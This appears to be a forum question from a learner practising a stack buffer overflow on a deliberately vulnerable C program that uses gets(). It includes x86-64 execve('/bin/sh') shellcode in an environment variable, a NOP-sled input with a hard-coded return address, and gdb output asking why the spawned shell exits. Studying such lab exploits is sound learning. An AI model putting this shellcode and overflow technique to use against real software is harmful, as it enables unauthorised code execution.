Machine language changed temporary after buffer overflow

I'm trying buffer overflow about below code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(void)
{
    char str[256];

    printf("Please type sentence\n");
    gets(str);
    printf("%s\n", str);
}

I tried buffer overflow with below shell code which is stored in environment variable

export shellcode=$(python -c 'print "\x90"*42+"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x99"')

I typed below code as input

echo $(python -c 'print "abcdefgh"+"\x90"*256+"\xf0\xee\xff\xff\xff\x7f"')

But result is little bit strange. And I can't understand why result is like that

abcdefgh?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
process 12197 is executing new program: /bin/dash
[Inferior 1 (process 12197) exited normally]

Above is result. I called execve in shell code with syscall. And I hope sh will start. Why result is different?

I use Ubuntu 16.04, x64 architecture. I disabled ASLR with sudo sysctl -w kernel.randomize_va_space=0